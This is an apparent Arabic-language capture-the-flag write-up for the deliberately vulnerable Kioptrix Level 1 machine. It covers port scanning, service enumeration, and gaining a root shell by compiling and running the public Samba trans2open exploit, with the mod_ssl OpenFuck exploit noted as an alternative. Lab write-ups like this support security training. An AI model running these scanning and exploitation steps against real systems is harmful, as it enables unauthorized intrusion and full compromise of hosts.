Kioptrix Level 1 - Detailed Comprehensive Writeup

هذا الـ Writeup يقدم شرحاً مفصلاً وشاملاً لحل ماكينة Kioptrix Level 1 مع التركيز على منهجية التفكير (Methodology) واختبار كافة المسارات المحتملة، بما في ذلك المحاولات التي قد لا تنجح (Rabbit Holes) للوصول إلى الحل الأفضل.

---

1. الاستطلاع (Reconnaissance)

الخطوة الأولى دائماً هي تحديد الهدف على الشبكة ومعرفة المنافذ المفتوحة.

تحديد الـ IP

إذا لم نكن نعرف الـ IP الخاص بالماكينة، يمكننا فحصه باستخدام `netdiscover` أو `arp-scan`:

```
sudo arp-scan -l
# أو
sudo netdiscover -r 192.168.1.0/24
```

سنفترض أنه `192.168.1.55` لأغراض الشرح)، ننتقل لفحص) IP بمجرد تحديد الـ المنافذ.

فحص المنافذ (Port Scanning)

نستخدم `nmap` لفحص المنافذ بدقة لمعرفة الخدمات وإصداراتها:

```
nmap -p- -sV -sC -O 192.168.1.55
```

النتائج الأساسية المتوقعة:

- `22/tcp` : SSH (OpenSSH 2.9p2)
- `80/tcp` : HTTP (Apache 1.3.20)
- `111/tcp`: rpcbind
- `139/tcp`: netbios-ssn (Samba)
- `443/tcp`: HTTPS (Apache 1.3.20 with mod_ssl 2.8.4 and OpenSSL 0.9.6b)

---

2. جمع المعلومات ومحاولات الاستغلال (Enumeration & Rabbit Holes)

الآن لدينا عدة أهداف محتملة. الهاكر المحترف يقوم بفحصها واحدة تلو الأخرى.

✕ مسار مغلق - أ) فحص المنفذ 22 (SSH)

- الإصدار: OpenSSH 2.9p2.
- البحث: User Enumeration هذا الإصدار قديم جداً، ولكنه غالباً مصاب بثغرات Remote Code Execution (RCE) معرفة ما إذا كان المستخدم موجوداً أم لا)، ولكن لا توجد ثغرة مباشرة له.
- المحاولة: Brute-force باستخدام `Hydra` لكن هذا سيستغرق وقتاً طويلاً جداً وليس هو المسار المقصود لحل الماكينة. لذلك نتجاوز هذا المنفذ.

✕ مسار مغلق - ب) فحص المنفذ 111 (RPC)

- الفحص: يمكننا استخدام `rpcinfo` لمعرفة الخدمات التي تعتمد عليه:

```
rpcinfo -p 192.168.1.55
```

- النتيجة: نجد خدمات مثل `status` ولكن لا توجد ثغرات استغلال واضحة أو مسارات تؤدي إلى اختراق الماكينة من هنا.

⚠ مسار صعب ومزعج - ج) فحص المنفذ 80 و 443 (HTTP/HTTPS)

- الإصدار: Apache 1.3.20 مع `mod_ssl 2.8.4`.
- لفحص ثغرات الويب `Nikto` الفحص: نستخدم أدوات مثل:

```
nikto -h 192.168.1.55
```

- مصاب بثغرة شهيرة جداً تسمى `mod_ssl 2.8.4` الاكتشاف: الأداة ستخبرنا أن **OpenFuck** (أو OpenFuckV2).
- محاولة الاستغلال:
  - نبحث عن الثغرة: `searchsploit mod_ssl 2.8`.
  - سنجد ثغرة مثل `47080 c` أو `764 c.`.
  - في عام 2002، وتحتوي على C لماذا هو مسار سيء؟ الثغرة مكتوبة بلغة لها اليوم على Compile قديمة جداً. محاولة عمل (Headers) مكتبات أنظمة كالي الحديثة ستؤدي إلى عشرات الأخطاء (Compilation Errors).
  - النتيجة: يمكن إصلاح الكود وتجميعه (وهناك مقالات تشرح كيفية إصلاح OpenFuck) وسيعطيك Root في النهاية، لكنه مسار متعب جداً ويأخذ وقتاً. نتركه كخطة بديلة.

✓ المسار الذهبي - (Samba) د) فحص المنفذ 139

(هذا هو المسار الأسهل والمقصود في معظم الحلول (كما ظهر في فيديو الشرح الخاص بك.

- الفحص المبدئي: نستخدم أدوات مثل `smbclient` أو `enum4linux`:

```
smbclient -L \\\\192.168.1.55\\ -N
enum4linux 192.168.1.55
```

هذه الأدوات قد لا تعطينا رقم الإصدار الدقيق.

- كما ذُكر في الشرح، نستخدم (Version Enumeration): تحديد الإصدار الدقيق `Metasploit`:

```
msfconsole
msf > use auxiliary/scanner/smb/smb_version
msf > set RHOSTS 192.168.1.55
msf > run
```

النتيجة ستخبرنا أن الإصدار هو **Samba < 2.2.8** (تحديداً غالبًا ما يكون 2.2.1a).

---

3. الاستغلال (Exploitation)

القديمة غالباً ما تعطي صلاحيات Samba الآن نحن متأكدون من أن الإصدار مصاب. ثغرات واسعة.

- البحث عن الثغرة: نبحث في قاعدة البيانات:

```
searchsploit samba 2.2
```

نجد ثغرة مشهورة جداً اسمها **trans2open** (في Exploit-DB رقمها 10 للينكس).

- تجهيز الاستغلال اليدوي (بدون **Metasploit Exploits):**

1. ننسخ الملف إلى مسار العمل الحالي:

```
cp /usr/share/exploitdb/exploits/linux/remote/10
```

2. نقوم بتجميع الملف (Compilation):

```
gcc 10.c -o exploit
```

ملاحظة: قد تظهر بعض التحذيرات *Warnings* أثناء التجميع، لا مشكلة (طالما تم إنتاج الملف التنفيذي).

- تنفيذ الهجوم: بالنظر إلى تعليمات الأداة `./exploit` نجد أنها تطلب تحديد نظام التشغيل المستهدف (Target OS Box). الماكينة هي Linux (الرقم 0).

```
./exploit -b 0 192.168.1.55
```

4. ما بعد الاستغلال (Post-Exploitation)

التي تعمل بصلاحيات Samba يستهدف خدمة `trans2open` الاستغلال الخاص بـ الجذر (Root).

- ويفتح لنا سطر Payload بمجرد تشغيل الاستغلال، سيتصل بالماكينة ويرسل الـ أوامر (Shell).
- لنتأكد من صلاحياتنا:

```
whoami
# النتيجة: root

id
# النتيجة: uid=0(root) gid=0(root)
```

- لماذا لم نحتاج **Privilege Escalation** لأن الخدمة التي استهدفناها (smbd) ؟ فعندما اخترقناها، ورثنا نفس تلك Root كانت تعمل مسبقاً بصلاحيات الـ الصلاحيات مباشرة. الماكينة الآن مخترقة بالكامل.

الخلاصة: ماكينة Kioptrix 1 تعلمك أهمية تحديد أولويات الهجوم (Prioritization). كان Samba إلا أن استغلال خدمة الـ (mod_ssl) بالرغم من وجود ثغرة في خدمة الويب مباشر Root وأعطانا وصول (Compilation) أسرع، أسهل في التجميع.